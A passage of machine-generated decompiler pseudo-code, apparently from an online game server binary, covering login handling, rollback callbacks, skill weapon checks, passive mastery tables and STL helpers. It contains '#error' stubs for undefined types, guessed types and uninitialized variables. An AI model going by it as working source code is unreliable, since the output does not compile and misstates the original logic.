FieldMap::fm_Insert_MIDPlayerInfoList(*(_DWORD *)(v4 + 98), v162); } v173 = v92; v167 = (ABSTATEINDEX)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; goto LABEL_143; } netcmd = (int)v109->StateData; while ( 1 ) { v111 = *(_DWORD *)(netcmd + 4); v112 = *(_BYTE *)netcmd; if ( !v111 ) break; v113 = v112; v114 = *(_DWORD *)(v111 + 36 * v112 + 8); if ( v114 ) { v115 = *(_DWORD *)(v114 + 43); v116 = *(_DWORD *)v4; v167 = 1; v166 = v115; v117 = *(_DWORD *)v111; v165 = -1; v164 = 0; v163 = clockwatch.cw_CurrTick; if ( (unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD, int, int, unsigned int, _DWORD, signed int, int, signed int))(v116 + 1584))( v4, v4, *(_DWORD *)(v117 + 34), v113, v111, clockwatch.cw_CurrTick, 0, -1, v166, 1) ) { v167 = *(_DWORD *)(*(_DWORD *)v111 + 34); ShineObjectClass::ShineObject::so_AbnormalState_BitSet((void *)v4, v167); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( (void *)v4, *(_DWORD *)(*(_DWORD *)v111 + 34), -1, v113); v118 = *(_DWORD *)(*(_DWORD *)v111 + 34); v119 = *(_DWORD *)v4; v167 = 1; v166 = -1; v165 = v118; (*(void (__thiscall **)(int, signed int, signed int, signed int))(v119 + 1004))(v4, v118, -1, 1); } } v121 = __OFSUB__(i + 1, nStateNum); v120 = i++ + 1 - (signed int)nStateNum < 0; netcmd += 12; if ( !(v120 ^ v121) ) { v92 = -1; goto LABEL_108; } } LABEL_126: v173 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v77 = *(void **)(v4 + 98); v167 = v4; v78 = FieldMap::fm_GetGuildTournamentSystem(v77); v79 = GuildTournamentSystem::IsPlayerRegister((GuildTournamentSystem *)v78, (#593 *)v167) == 0; } if ( v79 ) goto LABEL_77; goto LABEL_78; } AssertClass::ac_AssertFail(&shineassert, "sp_NC_MAP_LOGINCOMPLETE_CMD Link", v13, v14); v173 = -1; v167 = (ABSTATEINDEX)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; LABEL_143: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v167); } // 537820: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SetAutoPick(_DWORD, _DWORD); // 5387D0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ItemActionSetup(_DWORD); // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; // 130BDA44: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (00439E70) -------------------------------------------------------- void *__thiscall CallBackEvent::_vector_deleting_destructor_(CallBackEvent *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (CallBackEventVtbl *)&CallBackEvent::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 63A29C: using guessed type int (__thiscall *CallBackEvent___vftable_)(void *p, char); //----- (00439E90) -------------------------------------------------------- void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, Name3 *pServeName, Name3 *pClientName, int nPosX, int nPosY) { RollBackPosCallBackEvent *v5; // esi@1 unsigned int v6; // eax@1 char *v7; // eax@1 unsigned int v8; // eax@1 char *v9; // eax@1 v5 = this; this->baseclass_0.vfptr = (CallBackEventVtbl *)&RollBackPosCallBackEvent::_vftable_; v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_QWORD *)v7 = *(_QWORD *)&pServeName->n3_name[0]; *((_DWORD *)v7 + 2) = *(_DWORD *)&pServeName->n3_name[8]; v7[12] = 0; strncpy(this->m_RollBackPos.linktoserver, v7, 0xCu); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_QWORD *)v9 = *(_QWORD *)&pClientName->n3_name[0]; *((_DWORD *)v9 + 2) = *(_DWORD *)&pClientName->n3_name[8]; v9[12] = 0; strncpy(v5->m_RollBackPos.linktoclient, v9, 0xCu); v5->m_RollBackPos.coordx = nPosX; v5->m_RollBackPos.coordy = nPosY; } // 63A2A8: using guessed type int (__thiscall *RollBackPosCallBackEvent___vftable_)(void *p, char); //----- (00439F30) -------------------------------------------------------- void *__thiscall RollBackPosCallBackEvent::_scalar_deleting_destructor_(RollBackPosCallBackEvent *this, unsigned int a2) { void *v2; // esi@1 v2 = this; RollBackPosCallBackEvent::_RollBackPosCallBackEvent(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00439F50) -------------------------------------------------------- void __thiscall RollBackPosCallBackEvent::_RollBackPosCallBackEvent(RollBackPosCallBackEvent *this) { this->baseclass_0.vfptr = (CallBackEventVtbl *)&CallBackEvent::_vftable_; } // 63A29C: using guessed type int (__thiscall *CallBackEvent___vftable_)(void *p, char); //----- (00439F60) -------------------------------------------------------- #error "439F60: undefined or illegal type '#593' (funcsize=10)" //----- (00439F80) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall RollBackPosCallBackEvent::GetLinkData(RollBackPosCallBackEvent *this) { return &this->m_RollBackPos; } //----- (00439F90) -------------------------------------------------------- void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, #593 *pTargetObject) { RollBackPosCallBackEvent *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 int v5; // eax@1 char *v6; // ecx@1 int v7; // eax@1 int v8; // eax@1 unsigned int v9; // ecx@1 char *v10; // ecx@1 v2 = this; this->baseclass_0.vfptr = (CallBackEventVtbl *)&RollBackPosCallBackEvent::_vftable_; v3 = ShineObjectClass::ShineObject::so_CurMapname((int)pTargetObject); MoveManager::MoveManager((DiceTaiSai *)v3); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v6 = (char *)&namestring + 256 * v4; *(_DWORD *)v6 = *(_DWORD *)v5; *((_DWORD *)v6 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v5 + 8); v6[12] = 0; strncpy(v2->m_RollBackPos.linktoserver, v6, 0xCu); v7 = ShineObjectClass::ShineObject::so_CurMapname((int)pTargetObject); v8 = VectorClass::VectorWithLength::vwl_GetLength(v7); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *(_DWORD *)(v8 + 4); *((_DWORD *)v10 + 2) = *(_DWORD *)(v8 + 8); v10[12] = 0; strncpy(v2->m_RollBackPos.linktoclient, v10, 0xCu); v2->m_RollBackPos.coordx = *(_DWORD *)ShineObjectClass::ShineObject::so_mob_LastHittedLocation((int)pTargetObject); v2->m_RollBackPos.coordy = *(_DWORD *)(ShineObjectClass::ShineObject::so_mob_LastHittedLocation((int)pTargetObject) + 4); } // 63A2A8: using guessed type int (__thiscall *RollBackPosCallBackEvent___vftable_)(void *p, char); //----- (0043A090) -------------------------------------------------------- GatherProduce::RecipeBook::ProductIndex *__thiscall GatherProduce::RecipeBook::operator__(GatherProduce::RecipeBook *this, unsigned __int16 skl) { GatherProduce::RecipeBook *v2; // eax@1 int v3; // ecx@1 GatherProduce::RecipeBook::ProductIndex key; // [sp+0h] [bp-1E4h]@1 ProduceInfo pi; // [sp+4Ch] [bp-198h]@1 unsigned int v7; // [sp+1E0h] [bp-4h]@1 v7 = (unsigned int)&key ^ __security_cookie; v2 = this; key.index = π v3 = this->rb_Number; pi.ProductID = skl; return (GatherProduce::RecipeBook::ProductIndex *)bsearch( &key, v2->rb_Array, v3, 0x4Cu, GatherProduce::RecipeBook::rb_Compare); } //----- (0043A120) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_Toggle_CanUseSkill_WeaponType(CharaterSkillList *this, SkillDataBox::SkillDataIndex *pSkillIdx, unsigned __int16 nWeaponID) { ActiveSkillInfo *v4; // eax@3 WeaponDemandType v5; // eax@6 ItemDataBox::ItemDataBoxIndex *v6; // eax@9 ItemInfo *v7; // eax@12 int v8; // ecx@12 if ( !pSkillIdx ) { AssertClass::ac_AssertFail(&shineassert, "CharacterToggleSkillList::ctsl_CanUseSkill_WeaponType : INVALID SKILL", 0); return 0; } v4 = pSkillIdx->sdi_Activ; if ( !v4 ) { AssertClass::ac_AssertFail( &shineassert, "CharacterToggleSkillList::ctsl_CanUseSkill_WeaponType : INVALID SKILL ActiveData", 0); return 0; } if ( nWeaponID == -1 ) { v5 = v4->DemandType; if ( v5 == 6 || v5 == 2 ) return 1; } else { v6 = ItemDataBox::operator__(&itemdatabox, nWeaponID); if ( v6 ) { v7 = v6->data; v8 = v7->Class; if ( v8 == 5 || v8 == 7 ) { switch ( pSkillIdx->sdi_Activ->DemandType ) { case 2: case 6: return 1; case 0: if ( v7->TwoHand ) return 0; return 1; case 1: if ( v7->TwoHand != 1 ) return 0; return 1; case 4: if ( v7->WeaponType != 13 ) return 0; return 1; case 5: v8 = v7->WeaponType; goto $L159139; case 3: $L159139: if ( v8 != 5 ) return 0; return 1; case 7: if ( v8 != 7 ) return 0; return 1; case 8: if ( v7->WeaponType != 2 ) return 0; return 1; case 9: if ( v7->WeaponType != 10 ) return 0; return 1; case 0xA: if ( v7->WeaponType != 3 ) return 0; return 1; case 0xB: if ( v7->WeaponType != 11 ) return 0; return 1; case 0xC: if ( v7->WeaponType != 17 ) return 0; return 1; case 0xD: if ( v7->WeaponType != 18 ) return 0; return 1; default: return 0; } } } else { AssertClass::ac_AssertFail( &shineassert, "CharacterToggleSkillList::ctsl_CanUseSkill_WeaponType : INVALID Item", nWeaponID); } } return 0; } //----- (0043A2C0) -------------------------------------------------------- void __thiscall PassiveMasteryVariable::PassiveMasteryVariable(PassiveMasteryVariable *this) { PassiveMasteryVariable *v1; // ebx@1 signed int v2; // ebp@1 PassiveMasteryVariable *v3; // edx@2 signed int v4; // edi@2 v1 = this; v2 = 19; do { v3 = v1; v4 = 2; do { v3->pmv_var[0][0][0] = (unsigned int *)102; v3->pmv_var[0][1][0] = (unsigned int *)150; v3 = (PassiveMasteryVariable *)((char *)v3 + 152); --v4; } while ( v4 ); v1 = (PassiveMasteryVariable *)((char *)v1 + 4); --v2; } while ( v2 ); this->pmv_var[0][0][17] = (unsigned int *)142; this->pmv_var[1][0][17] = (unsigned int *)142; this->pmv_var[0][0][0] = (unsigned int *)102; this->pmv_var[0][0][2] = (unsigned int *)102; this->pmv_var[0][0][3] = (unsigned int *)102; this->pmv_var[0][0][4] = (unsigned int *)102; this->pmv_var[0][0][6] = (unsigned int *)102; this->pmv_var[0][0][7] = (unsigned int *)102; this->pmv_var[0][0][8] = (unsigned int *)102; this->pmv_var[0][0][9] = (unsigned int *)102; this->pmv_var[0][0][10] = (unsigned int *)102; this->pmv_var[0][0][11] = (unsigned int *)102; this->pmv_var[0][0][12] = (unsigned int *)102; this->pmv_var[0][0][14] = (unsigned int *)102; this->pmv_var[1][0][0] = (unsigned int *)102; this->pmv_var[1][0][5] = (unsigned int *)102; this->pmv_var[1][0][6] = (unsigned int *)102; this->pmv_var[1][0][7] = (unsigned int *)102; this->pmv_var[1][0][8] = (unsigned int *)102; this->pmv_var[1][0][9] = (unsigned int *)102; this->pmv_var[1][0][12] = (unsigned int *)102; this->pmv_var[1][0][13] = (unsigned int *)102; this->pmv_var[1][0][14] = (unsigned int *)102; this->pmv_var[0][1][17] = (unsigned int *)190; this->pmv_var[1][1][17] = (unsigned int *)190; this->pmv_var[0][1][18] = (unsigned int *)194; this->pmv_var[1][1][18] = (unsigned int *)194; this->pmv_var[0][1][0] = (unsigned int *)150; this->pmv_var[0][1][1] = (unsigned int *)154; this->pmv_var[0][1][2] = (unsigned int *)150; this->pmv_var[0][1][3] = (unsigned int *)150; this->pmv_var[0][1][4] = (unsigned int *)150; this->pmv_var[0][1][5] = (unsigned int *)170; this->pmv_var[0][1][6] = (unsigned int *)150; this->pmv_var[0][1][7] = (unsigned int *)150; this->pmv_var[0][1][8] = (unsigned int *)150; this->pmv_var[0][1][9] = (unsigned int *)150; this->pmv_var[0][1][10] = (unsigned int *)150; this->pmv_var[0][1][11] = (unsigned int *)150; this->pmv_var[0][1][12] = (unsigned int *)150; this->pmv_var[0][1][13] = (unsigned int *)158; this->pmv_var[0][1][14] = (unsigned int *)150; this->pmv_var[0][0][1] = (unsigned int *)106; this->pmv_var[0][0][5] = (unsigned int *)122; this->pmv_var[0][0][13] = (unsigned int *)110; this->pmv_var[0][0][18] = (unsigned int *)146; this->pmv_var[1][1][0] = (unsigned int *)150; this->pmv_var[1][1][1] = (unsigned int *)162; this->pmv_var[1][1][2] = (unsigned int *)174; this->pmv_var[1][1][3] = (unsigned int *)186; this->pmv_var[1][1][4] = (unsigned int *)166; this->pmv_var[1][1][5] = (unsigned int *)150; this->pmv_var[1][1][6] = (unsigned int *)150; this->pmv_var[1][1][7] = (unsigned int *)150; this->pmv_var[1][1][8] = (unsigned int *)150; this->pmv_var[1][1][9] = (unsigned int *)150; this->pmv_var[1][1][10] = (unsigned int *)178; this->pmv_var[1][1][11] = (unsigned int *)182; this->pmv_var[1][1][12] = (unsigned int *)150; this->pmv_var[1][1][13] = (unsigned int *)150; this->pmv_var[1][1][14] = (unsigned int *)150; this->pmv_var[1][0][1] = (unsigned int *)114; this->pmv_var[1][0][2] = (unsigned int *)126; this->pmv_var[1][0][3] = (unsigned int *)138; this->pmv_var[1][0][4] = (unsigned int *)118; this->pmv_var[1][0][10] = (unsigned int *)130; this->pmv_var[1][0][11] = (unsigned int *)134; this->pmv_var[1][0][18] = (unsigned int *)146; } //----- (0043A4A0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 20; return result; } //----- (0043A4C0) -------------------------------------------------------- void __cdecl std::fill(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Val) { CharaterSkillList::CharSkill *i; // eax@1 CharaterSkillList::CharSkill *v4; // edi@2 for ( i = _First; i != _Last; v4->cs_bSave = _Val->cs_bSave ) { v4 = i; *(_DWORD *)&i->cs_SkillId = *(_DWORD *)&_Val->cs_SkillId; i->cs_EndOfCooltime = _Val->cs_EndOfCooltime; *(_DWORD *)&i->cs_Empower._bf0 = *(_DWORD *)&_Val->cs_Empower._bf0; i->cs_Mastery = _Val->cs_Mastery; ++i; } } //----- (0043A500) -------------------------------------------------------- CharaterSkillList::CharSkill *__cdecl std::_Copy_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { CharaterSkillList::CharSkill *v4; // ecx@1 CharaterSkillList::CharSkill *result; // eax@1 CharaterSkillList::CharSkill *v6; // edi@2 int v7; // esi@2 v4 = _First; for ( result = _Dest; v4 != _Last; v6->cs_bSave = v7 ) { v6 = result; *(_DWORD *)&result->cs_SkillId = *(_DWORD *)&v4->cs_SkillId; result->cs_EndOfCooltime = v4->cs_EndOfCooltime; *(_DWORD *)&result->cs_Empower._bf0 = *(_DWORD *)&v4->cs_Empower._bf0; result->cs_Mastery = v4->cs_Mastery; v7 = v4->cs_bSave; ++v4; ++result; } return result; } //----- (0043A550) -------------------------------------------------------- CharaterSkillList::CharSkill *__cdecl std::_Copy_backward_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { CharaterSkillList::CharSkill *v4; // ecx@1 CharaterSkillList::CharSkill *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; result->cs_bSave = v4->cs_bSave ) { --v4; --result; *(_DWORD *)&result->cs_SkillId = *(_DWORD *)&v4->cs_SkillId; result->cs_EndOfCooltime = v4->cs_EndOfCooltime; *(_DWORD *)&result->cs_Empower._bf0 = *(_DWORD *)&v4->cs_Empower._bf0; result->cs_Mastery = v4->cs_Mastery; } return result; } //----- (0043A5A0) -------------------------------------------------------- void __cdecl std::swap(CharaterSkillList::CharSkill *_Left, CharaterSkillList::CharSkill *_Right) { int v2; // edx@1 unsigned int v3; // esi@1 int v4; // edi@1 unsigned int v5; // ST1C_4@1 int v6; // ST20_4@1 v2 = *(_DWORD *)&_Left->cs_SkillId; v3 = _Left->cs_EndOfCooltime; v4 = *(_DWORD *)&_Left->cs_Empower._bf0; v5 = _Left->cs_Mastery; v6 = _Left->cs_bSave; *(_DWORD *)&_Left->cs_SkillId = *(_DWORD *)&_Right->cs_SkillId; _Left->cs_EndOfCooltime = _Right->cs_EndOfCooltime; *(_DWORD *)&_Left->cs_Empower._bf0 = *(_DWORD *)&_Right->cs_Empower._bf0; _Left->cs_Mastery = _Right->cs_Mastery; _Left->cs_bSave = _Right->cs_bSave; *(_DWORD *)&_Right->cs_SkillId = v2; _Right->cs_EndOfCooltime = v3; *(_DWORD *)&_Right->cs_Empower._bf0 = v4; _Right->cs_Mastery = v5; _Right->cs_bSave = v6; } //----- (0043A610) -------------------------------------------------------- #error "43A610: undefined or illegal type '#734' (funcsize=75)" //----- (0043A730) -------------------------------------------------------- void __thiscall CharacterPassiveList::cpl_RecalcParam(CharacterPassiveList *this, ItemBag *param) { unsigned int v2; // ebx@1 int v3; // edi@1 int v4; // ebp@1 unsigned int v5; // esi@7 int v6; // ecx@11 int v7; // ecx@12 int v8; // ebp@13 unsigned int v9; // eax@15 unsigned int *v10; // edx@16 unsigned int *v11; // ecx@19 ItemBagVtbl *v12; // eax@23 int v13; // eax@25 ItemBagVtbl *v14; // eax@27 int v15; // eax@29 ItemBagVtbl *v16; // eax@31 ItemBagVtbl *v17; // eax@33 ItemBagVtbl *v18; // eax@35 ItemBagVtbl *v19; // eax@37 unsigned __int16 v20; // ax@39 ItemBagVtbl *v21; // eax@41 unsigned __int16 v22; // cx@43 unsigned __int16 v23; // ax@44 unsigned __int16 v24; // cx@46 unsigned __int16 v25; // ax@47 unsigned __int16 v26; // ax@49 __int16 v27; // ax@51 __int16 v28; // ax@53 __int16 v29; // si@55 CharacterPassiveList *v30; // [sp+10h] [bp-14h]@1 int equipment; // [sp+2Ch] [bp+8h]@0 int equipmenta; // [sp+2Ch] [bp+8h]@1 v30 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharacterPassiveList::cpl_RecalcParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharacterPassiveList::cpl_RecalcParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; v3 = (**(int (__thiscall ***)(_DWORD, _DWORD))equipment)(equipment, 10); v4 = *(_WORD *)((**(int (__thiscall ***)(_DWORD, _DWORD))equipment)(equipment, 12) + 8); equipmenta = v4; if ( (_WORD)v4 == -1 ) { v4 = *(_WORD *)(v3 + 8); equipmenta = *(_WORD *)(v3 + 8); } while ( 1 ) { if ( (unsigned __int8)(1 << v2 % 8) & v30->cpl_Passive.bs_bitlist[v2 / 8] ) { if ( (signed int)(unsigned __int16)v2 >= *(_DWORD *)&passivedatabox.baseclass_0.bdb_defaultblock.ImageH[2] ) v5 = passivedatabox.baseclass_0.baseclass_0.baseclass_0.m_nFileSize; else v5 = *(_DWORD *)(*(_DWORD *)&passivedatabox.baseclass_0.bdb_defaultblock.ImageN[10] + 4 * (unsigned __int16)v2); if ( *(_DWORD *)(v5 + 66) ) { if ( (unsigned int)(unsigned __int16)v4 < unk_131DE8B4 ) { v6 = unk_131DF0C4 + 32 * (unsigned __int16)v4; if ( v6 ) { v7 = *(_DWORD *)v6; if ( v7 ) { v8 = *(_WORD *)v7 + 10000 * (unsigned __int16)v4; if ( *(_WORD *)v7 == (_WORD)equipmenta ) { v9 = *(_DWORD *)(v7 + 231); if ( v9 >= 0x13 ) v10 = pmv.pmv_var[1][1][0]; else v10 = pmv.pmv_var[0][1][v9 + 38 * (*(_BYTE *)(v7 + 118) & 1)]; if ( v9 >= 0x13 ) v11 = pmv.pmv_var[1][0][0]; else v11 = pmv.pmv_var[0][0][v9 + 38 * (*(_BYTE *)(v7 + 118) & 1)]; if ( v9 == 3 || v9 == 11 ) { v14 = *(ItemBagVtbl **)((char *)v10 + v5); if ( v14 ) param[457].vfptr = v14; v15 = *(unsigned int *)((char *)v11 + v5); if ( v15 ) param[505].vfptr = (ItemBagVtbl *)(v15 + 1000); } else { v12 = *(ItemBagVtbl **)((char *)v10 + v5); if ( v12 ) param[456].vfptr = v12; v13 = *(unsigned int *)((char *)v11 + v5); if ( v13 ) param[504].vfptr = (ItemBagVtbl *)(v13 + 1000); } } else { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v8); } } } } } v16 = *(ItemBagVtbl **)(v5 + 198); if ( v16 ) param[453].vfptr = v16; v17 = *(ItemBagVtbl **)(v5 + 202); if ( v17 ) param[441].vfptr = v17; v18 = *(ItemBagVtbl **)(v5 + 210); if ( v18 ) param[435].vfptr = v18; v19 = *(ItemBagVtbl **)(v5 + 214); if ( v19 != (ItemBagVtbl *)1000 ) param[502].vfptr = v19; v20 = *(_WORD *)(v5 + 218); if ( v20 ) param[513].vfptr = (ItemBagVtbl *)v20; v21 = *(ItemBagVtbl **)(v5 + 206); if ( v21 ) param[468].vfptr = v21; v22 = *(_WORD *)(v5 + 220); if ( v22 ) { v23 = *(_WORD *)(v5 + 222); if ( v23 ) { Parameter::ChangeByConditionParam::cbcp_SetCondition( (Parameter::ChangeByConditionParam *)¶m[776], *(_WORD *)v5, v23, v22); Parameter::ChangeByConditionParam::cbcp_SetCondition( (Parameter::ChangeByConditionParam *)¶m[783], *(_WORD *)v5, *(_WORD *)(v5 + 222), *(_WORD *)(v5 + 220)); Parameter::ChangeByConditionParam::cbcp_SetCondition( (Parameter::ChangeByConditionParam *)¶m[790], *(_WORD *)v5, *(_WORD *)(v5 + 222), *(_WORD *)(v5 + 220)); Parameter::ChangeByConditionParam::cbcp_SetCondition( (Parameter::ChangeByConditionParam *)¶m[797], *(_WORD *)v5, *(_WORD *)(v5 + 222), *(_WORD *)(v5 + 220)); } } v24 = *(_WORD *)(v5 + 224); if ( v24 ) { v25 = *(_WORD *)(v5 + 226); if ( v25 ) { Parameter::ChangeByConditionParam::cbcp_SetCondition( (Parameter::ChangeByConditionParam *)¶m[804], *(_WORD *)v5, v25, v24); Parameter::ChangeByConditionParam::cbcp_SetCondition( (Parameter::ChangeByConditionParam *)¶m[811], *(_WORD *)v5, *(_WORD *)(v5 + 226), *(_WORD *)(v5 + 224)); } } v26 = *(_WORD *)(v5 + 228); if ( v26 ) Parameter::ChangeByConditionParam::cbcp_SetCondition( (Parameter::ChangeByConditionParam *)¶m[818], *(_WORD *)v5, 0x3E8u, v26); v27 = *(_WORD *)(v5 + 230); if ( v27 ) HIWORD(param[774].vfptr) = v27; v28 = *(_WORD *)(v5 + 232); if ( v28 ) LOWORD(param[774].vfptr) = v28; v29 = *(_WORD *)(v5 + 234); if ( v29 ) LOWORD(param[775].vfptr) = v29; } ++v2; if ( (signed int)v2 >= 1000 ) break; LOWORD(v4) = equipmenta; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharacterPassiveList::cpl_RecalcParam"); } // 43A730: inconsistent function type and number of purged bytes //----- (0043AB10) -------------------------------------------------------- CharaterSkillList::CharSkill *__cdecl std::_Uninit_copy>(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { CharaterSkillList::CharSkill *v5; // ecx@1 CharaterSkillList::CharSkill *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->cs_SkillId = *(_DWORD *)&v5->cs_SkillId; result->cs_EndOfCooltime = v5->cs_EndOfCooltime; *(_DWORD *)&result->cs_Empower._bf0 = *(_DWORD *)&v5->cs_Empower._bf0; result->cs_Mastery = v5->cs_Mastery; result->cs_bSave = v5->cs_bSave; } ++v5; } return result; } //----- (0043AB60) -------------------------------------------------------- void __cdecl std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { if ( _Pred(*(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First) ) std::swap( *(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First); if ( _Pred(*(CharaterSkillList::CharSkill **)&_Last, *(CharaterSkillList::CharSkill **)&_Mid) ) std::swap( *(CharaterSkillList::CharSkill **)&_Last, *(CharaterSkillList::CharSkill **)&_Mid); if ( _Pred(*(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First) ) std::swap( *(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First); } //----- (0043ABC0) -------------------------------------------------------- void __cdecl std::_Push_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Top, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v5; // ebx@1 int i; // edi@1 int v7; // esi@2 int v8; // eax@3 int v9; // eax@4 unsigned int v10; // edx@4 int v11; // ecx@4 unsigned int v12; // edx@4 int v13; // ecx@4 v5 = _Hole; for ( i = (_Hole - 1) / 2; _Top < v5; i = (i - 1) / 2 ) { v7 = *(_DWORD *)&_First + 20 * i; if ( !_Pred((CharaterSkillList::CharSkill *)(*(_DWORD *)&_First + 20 * i), &_Val) ) break; *(_DWORD *)(*(_DWORD *)&_First + 20 * v5) = *(_DWORD *)v7; v8 = *(_DWORD *)&_First + 20 * v5; *(_DWORD *)(v8 + 4) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v8 + 8) = *(_DWORD *)(v7 + 8); *(_DWORD *)(v8 + 12) = *(_DWORD *)(v7 + 12); *(_DWORD *)(v8 + 16) = *(_DWORD *)(v7 + 16); v5 = i; } v9 = *(_DWORD *)&_First + 20 * v5; v10 = _Val.cs_EndOfCooltime; *(_DWORD *)v9 = *(_DWORD *)&_Val; v11 = *(_DWORD *)&_Val.cs_Empower._bf0; *(_DWORD *)(v9 + 4) = v10; v12 = _Val.cs_Mastery; *(_DWORD *)(v9 + 8) = v11; v13 = _Val.cs_bSave; *(_DWORD *)(v9 + 12) = v12; *(_DWORD *)(v9 + 16) = v13; } //----- (0043AC60) -------------------------------------------------------- void __cdecl std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, int *__formal, CharaterSkillList::CharSkill *a5) { std::vector >::iterator v5; // ebp@1 int v6; // edi@1 int v7; // eax@1 int v8; // esi@1 int v9; // edx@2 std::vector >::iterator v10; // edx@5 int v11; // ebx@5 int v12; // esi@6 int v13; // ecx@6 std::vector >::iterator *v14; // eax@7 int v15; // esi@9 int v16; // eax@10 int *v17; // eax@11 int v18; // [sp+10h] [bp-20h]@8 int v19; // [sp+14h] [bp-1Ch]@11 int v20; // [sp+18h] [bp-18h]@12 int _Holeval; // [sp+1Ch] [bp-14h]@6 int v22; // [sp+20h] [bp-10h]@6 int v23; // [sp+24h] [bp-Ch]@6 int v24; // [sp+28h] [bp-8h]@6 int v25; // [sp+2Ch] [bp-4h]@6 v5 = _Last; v6 = (*(_DWORD *)&_Mid - *(_DWORD *)&_First) / 20; v7 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; v8 = (*(_DWORD *)&_Mid - *(_DWORD *)&_First) / 20; if ( v6 ) { do { v9 = v7 % v8; v7 = v8; v8 = v9; } while ( v9 ); } if ( v7 < (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 && v7 > 0 ) { v10 = (std::vector >::iterator)(20 * v6); _Mid = (std::vector >::iterator)(20 * v6); v11 = *(_DWORD *)&_First + 20 * v7; _Last = (std::vector >::iterator)v7; do { _Holeval = *(_DWORD *)v11; v22 = *(_DWORD *)(v11 + 4); v23 = *(_DWORD *)(v11 + 8); v12 = *(_DWORD *)(v11 + 12); v25 = *(_DWORD *)(v11 + 16); v13 = v11; v24 = v12; if ( v11 + *(_DWORD *)&v10 == v5 ) { v14 = &_First; } else { v18 = v11 + *(_DWORD *)&v10; v14 = (std::vector >::iterator *)&v18; } v15 = *(_DWORD *)&v14->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_DWORD *)&v14->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] != v11 ) { do { *(_DWORD *)v13 = *(_DWORD *)v15; *(_DWORD *)(v13 + 4) = *(_DWORD *)(v15 + 4); *(_DWORD *)(v13 + 8) = *(_DWORD *)(v15 + 8); *(_DWORD 